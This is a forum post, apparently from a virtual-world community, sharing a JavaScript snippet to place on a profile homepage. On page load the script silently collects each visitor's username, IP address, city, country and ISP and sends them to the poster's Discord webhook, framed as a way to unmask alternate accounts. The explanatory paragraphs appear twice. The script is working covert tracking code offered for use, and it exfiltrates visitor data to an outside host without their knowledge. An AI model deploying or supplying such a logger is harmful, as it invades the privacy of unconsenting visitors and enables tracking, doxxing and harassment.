Posted 5 months ago
·
Author
This goes onto your homepage panel. All you need to do is replace the Discord webhook, and you're good to go.
This is pretty much the only way to catch someone using an alternate account; you match their IPs if you can get both of their accounts to click on your homepage. To prevent spamming by refreshing, log each user only once. Save the IPs to a database along with the username or IP, and if the IP changes, update it in the database; otherwise, skip it.
The downside of this method is that if someone knows what they are doing, they can get your webhook and spam it (which might get your Discord account banned), so be careful. Consider hosting this on a small-scale server, and have the link execute upon visit.
This is pretty much the only way to catch someone using an alternate account; you match their IPs if you can get both of their accounts to click on your homepage. To prevent spamming by refreshing, log each user only once. Save the IPs to a database along with the username or IP, and if the IP changes, update it in the database; otherwise, skip it.
The downside of this method is that if someone knows what they are doing, they can get your webhook and spam it (which might get your Discord account banned), so be careful. Consider hosting this on a small-scale server, and have the link execute upon visit.
<script type="text/javascript">
document.addEventListener('DOMContentLoaded', function() {
const vNameElement = document.getElementById("mininav-avname");
if (vNameElement) {
const vName = vNameElement.innerHTML.trim();
fetch("https://api.ipify.org?format=json")
.then(response => response.json())
.then(data => {
const userIP = data.ip;
fetch(`https://ipapi.co/${userIP}/json/`)
.then(response => response.json())
.then(ipData => {
const message = `**IP Address:** ${userIP}n**Username:** ${vName}n**Location:** ${ipData.city}, ${ipData.country_name}n**ISP:** ${ipData.org}n**Time Visited:** ${new Date().toLocaleString()}`;
const payload = {
username: "Web Visitor Logger",
content: message
};
fetch("YOUR DISCORD WEBHOOK HERE!", {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(payload)
})
.then(response => {
if (!response.ok) {
response.json().then(json => console.error('Discord Error:', json));
}
})
.catch(error => {
console.error('Error sending message to Discord webhook:', error);
});
})
.catch(error => {
console.error('Error retrieving IP details:', error);
});
})
.catch(error => {
console.error('Error retrieving IP address:', error);
});
} else {
console.error("Element with ID 'mininav-avname' not found.");
}
});
</script>